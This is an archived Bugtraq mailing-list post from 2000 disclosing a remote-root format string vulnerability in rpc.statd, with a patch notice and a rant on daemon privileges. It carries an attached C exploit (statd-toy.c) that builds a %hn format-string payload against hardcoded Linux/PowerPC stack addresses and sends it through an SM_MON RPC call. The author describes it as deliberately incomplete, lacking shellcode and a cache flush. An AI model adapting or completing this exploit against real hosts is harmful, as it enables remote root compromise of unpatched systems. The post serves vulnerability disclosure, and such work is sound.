5278614 2000-07-17 19:55 /237 rader/ Postmaster Mottagare: Bugtraq (import) <11752> Ärende: Lots and lots of fun with rpc.statd ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: bugtraq@securityfocus.com Mail-Followup-To: Daniel Jacobowitz <drow@false.org>, bugtraq@securityfocus.com Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1 protocol="application/pgp-signature"; boundary="EuxKj2iCbKjpUGkD" Content-Disposition: inline User-Agent: Mutt/1.1.9i Message-ID: <20000716194510.A15951@drow.them.org> Date: Sun, 16 Jul 2000 19:45:10 -0700 Reply-To: Daniel Jacobowitz <drow@FALSE.ORG> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Daniel Jacobowitz <drow@FALSE.ORG> To: BUGTRAQ@SECURITYFOCUS.COM --EuxKj2iCbKjpUGkD Content-Type: multipart/mixed; boundary="vtzGhvizbBRQ85DL" Content-Disposition: inline --vtzGhvizbBRQ85DL Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Last week was a little quiet, so I thought I'd throw some kindling on the fire. Here's another prime example of a format string bug: our old friend rpc.statd. Attached is an exploit. The offsets are for Linux/PowerPC, Debian 2.2. It isn't functional, though - and it's more than just kiddy-proofed. You'll need three things: (A) shellcode. There's two or three published; mine isn't quite ready for public consumption (meaning it's so ugly it embarrasses me). I think it's better than any of the other PPC shellcodes currently available, though. I'll publish it eventually. (B) sm_inter.x from the nfs-utils source (C) A way to flush the cache before running code. PowerPC (recent CPUs, at least) has a separate data and instruction cache. If you use this exploit as is, with gdb attached to the process, single stepping, it will work. If you run it on a remote machine, it won't. Why not? Because the code is on the stack, which remains in the data cache, and then the icache loads the old contents of the stack when you branch there! There are several solutions to this. You may also need to change the offsets. I think the exploit says all it needs to say without hand-holding - questions about using it WILL go directly to /dev/null. I do have a fully function version of this, and I have verified that it works as promised. The current version of statd does not have these problems, for at least the past two weeks (I believe the current version is 0.1.9.1). Fixed Debian packages are available for alpha, sparc, powerpc, and i386. And a rant about the bug, from Chris Evans: =========================================== - The severity of this hole, i.e. remote root, is much greater than it should be. All the stupid daemon does is listen to requests on a network, and manage a few files. Call the UNIX security model non-granular, and poor, but there's no way you need root to do that. It's true that it requires a low-port (i.e. privileged) socket to send data on, as a way of gaining the trust of the remote (where remote is often the localhost). However, since it's a connectionless UDP socket, you can launch the daemon as root, grab the socket, and drop root. Furthermore, the daemon is a prime candidate for chroot()'ing, but this is not done. The above plus a chroot() would limit the severity of this hole to a non-root shell without the ability to raise privilege by exec()'ing any suid-root binaries. Finally note that rpc.statd is by no means the only daemon guilty of overprivilege like this. The neanderthal "use root" approach of most ftpd's is just asking for remote root trouble. Has no-one heard of distrusting privileged helpers? =========================================== Dan /--------------------------------\ /--------------------------------\ | Daniel Jacobowitz |__| SCS Class of 2002 | | Debian GNU/Linux Developer __ Carnegie Mellon University | | dan@debian.org | | dmj+@andrew.cmu.edu | \--------------------------------/ \--------------------------------/ --vtzGhvizbBRQ85DL Content-Type: text/x-csrc; charset=us-ascii Content-Disposition: attachment; filename="statd-toy.c" Content-Transfer-Encoding: quoted-printable /* * Slightly dysfunctional rpc.statd exploit * for all the dysfunctional script kiddies out there * * Author: drow, 07/2000 * * And just for kicks... * Greets: * Chris Evans, whose fault all this is * whoever wrote the old solaris statd exploit I ripped the RPC code out of * <james> send out greetz to all the 1337 D3B14N H4X0R2!!!! * and THEM (THEY know who THEY are) * * * This is dedicated to Joel Klecker. Those who knew him know why. * */ #include <sys/types.h> #include <sys/time.h> #include <stdio.h> #include <string.h> #include <netdb.h> #include <rpc/rpc.h> #include <rpcsvc/sm_inter.h> #include <sys/socket.h> void usage(char *s) { printf("Usage: %s host [-nopoke]\n", s); exit(0); } extern char shell[]; main(int argc, char *argv[]) { CLIENT *cl; enum clnt_stat stat; struct timeval tm; struct mon monreq; struct sm_stat_res monres; struct hostent *hp; struct sockaddr_in target; int sd, i, noplen=3Dstrlen(nop), nopoke=3D0; char *ptr=3Dcode, *p2, code[4096]; if (argc < 2) usage(argv[0]); if (argc > 2) nopoke =3D 1; /* Alignment */ strcpy(ptr, "AAA"); ptr +=3D strlen(ptr); =20 /* Target to write to! */ *(unsigned long *)(ptr) =3D 0x7fffeb04; ptr +=3D sizeof(unsigned long); =20 /* pad */ *(unsigned long *)(ptr) =3D 0x11111111; ptr +=3D sizeof(unsigned long); /* Target Two (two higher in memory probably) */ *(unsigned long *)(ptr) =3D 0x7fffeb06; ptr +=3D sizeof(unsigned long); =20 for(i =3D 0; i < 46-1; i++) { strcpy(ptr, "%12d"); ptr +=3D strlen(ptr); } if(!nopoke) { /* Value to write - amount written */ /* Guess a bit - remember to leave a lot of padding, and be lucky on alig= nment */ /* Don't correct for IP address! Forced to localhost by stat code - same= length. */ #define HIGH 0x7fff #define LOW 0xeecc sprintf(ptr, "%%%dd%%hn", HIGH - 12*45 - strlen("STAT_FAIL to 127.0.0.1 for SM_MON of AAABBBB1111CCCC")); ptr +=3D strlen(ptr); sprintf(ptr, "%%%dd%%hn", (LOW - HIGH) % 65536); ptr +=3D strlen(ptr); /* CODE */ p2 =3D shell; while(*p2) *(ptr++) =3D *(p2++); } *(ptr++) =3D 0; memset(&monreq, 0, sizeof(monreq)); monreq.mon_id.my_id.my_name=3D"localhost"; monreq.mon_id.my_id.my_prog=3D0; monreq.mon_id.my_id.my_vers=3D0; monreq.mon_id.my_id.my_proc=3D0; monreq.mon_id.mon_name=3D code /*code*/; if ((hp=3Dgethostbyname(argv[1])) =3D=3D NULL) { printf("Can't resolve %s\n", argv[1]); exit(0); } target.sin_family=3DAF_INET; target.sin_addr.s_addr=3D*(u_long *)hp->h_addr; target.sin_port=3D0; /* ask portmap */ sd=3DRPC_ANYSOCK; tm.tv_sec=3D10; tm.tv_usec=3D0; if ((cl=3Dclntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) =3D=3D NULL= ) { clnt_pcreateerror("clnt_create"); exit(0); } stat=3Dclnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res, (char *)&monres, tm); if (stat !=3D RPC_SUCCESS) clnt_perror(cl, "clnt_call"); else printf("stat_res =3D %d.\n", monres.res_stat); clnt_destroy(cl); } --vtzGhvizbBRQ85DL-- --EuxKj2iCbKjpUGkD Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.1 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE5cnM2bgOPXuCjg3cRAiZdAJ9fSz2KJHy8v6uWHja7c0ifsDAcHgCePg/u Ep5oQeMRF0p1zolILnh2evE= =JDj1 -----END PGP SIGNATURE----- --EuxKj2iCbKjpUGkD-- (5278614) ------------------------------------------(Ombruten)